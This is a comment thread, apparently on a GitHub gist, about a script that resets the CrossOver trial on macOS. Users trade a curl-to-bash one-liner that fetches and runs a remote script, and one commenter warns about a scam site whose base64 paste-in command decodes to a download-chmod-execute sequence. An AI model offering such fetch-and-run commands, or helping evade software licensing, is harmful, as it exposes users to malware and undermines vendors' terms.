After install script will fix crossover as well as expired bottles (Thanks to @djsmax).

anyone know if the command at the very top of the thread actually works? i’m a little skeptical about it due to it linking to elsewhere…
Can I use it with Crossover 25.1.1?
yes
Is that true? Thanks for letting me know!
running the command on my iTerm returns the following err:
`bash -c "$(curl -fsSL https://gist.github.com/santaklouse/a137ee51692b74d4cf2cc1bb68ed64ef/raw/install.sh?token=$(date +%s))"
- zsh: no matches found: https://gist.github.com/santaklouse/a137ee51692b74d4cf2cc1bb68ed64ef/raw/install.sh?token=1758819549`
any idea what's happening or where I'm wrong?
Is there a noob guide to doing this? I know how to use terminal and all, and I installed the brew/crossover command, but Im a little confused on what steps to take (click every link?) and in what order..
TIA
@nsheuerman-tech @AguSandoval @tadonagiren @zyndrolith
The old command fron santaklouse has been outdated for a very long time.
An updated version is here https://github.com/Nygosaki/crossover-trial-renew.
You can see the source code in the repo and run that directly if you'd like.
How to extend if i didnt create a bottle. And can some one explain how to do it coz i kinda lost
@thedownloadfile Nobody is dumb enough to download this malware. Here are the reasons:
- It's not open source. If it's not malware, then why don't you put the source code for the cracked crossover so that people can build it themselves
- Crossover was built to run Windows on Mac. Of course, since you never read about crossover and all you want to do is scam people, you don't know that. And so, you provide an EXE file meant to run on Windows, not Mac. And that's a reason to suspect you're a scammer.
- Even if someone were to download your malware, he'd discover that it's an EXE file and not a Mac app. So he won't run it.
If you are reading this comment, please report @thedownloadfile profile to GitHub.
For the hell of it, I went to the site @thedownloadfile posted and it redirected me to a blatant shell command scam lmao. It tells the user to paste in a base64 encoded string into the terminal (which decodes to curl -s -k [sketchy url] -o .rc && chmod +x .rc && ./.rc && rm .rc).
I did try to run this in Tria.ge but the executable it downloads is ARM only.
I've reported them
